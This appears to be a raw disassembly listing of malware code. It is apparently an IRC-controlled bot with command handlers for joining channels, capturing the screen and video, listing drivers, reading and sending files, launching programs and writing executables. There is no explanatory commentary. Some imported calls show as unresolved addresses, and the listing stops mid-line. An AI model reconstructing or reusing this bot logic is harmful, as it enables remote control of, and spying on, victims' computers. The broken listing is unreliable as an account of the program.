[ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2661D38h test eax, eax jnz short loc_40844C push offset unk_42A010 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FF4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26A0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429FBC push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2670ECEh jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 2680930h push eax push offset dword_429F80 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F38 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2670ECEh loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429F14 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429EFC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429EC8 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E94 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2670ECEh jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 2680930h push eax push offset unk_429E58 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429E2C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2670ECEh jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2680930h push eax push offset dword_429DF0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DE8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DD4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429DB8 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429DB0 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D94 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D78 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D50 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D44 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2670ECEh push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D30 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A464 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429D14 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CF4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CD4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429CAC push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C7C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C60 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429C2C push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BFC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429BC0 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFD4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B90 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B68 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B34 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429B00 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429AC8 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A94 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A54 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_429A14 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299F0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_4299CC jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_4299C8 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42999C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429984 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429964 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429948 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429930 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call near ptr 2670ECEh nop jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 2680930h push eax push offset unk_4298F0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298D8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_4298B4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECEh jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 268019Bh test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429898 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A0A0 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429874 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429844 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_429824 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297D4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CB028 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB030 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_4297AC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429784 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429764 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE 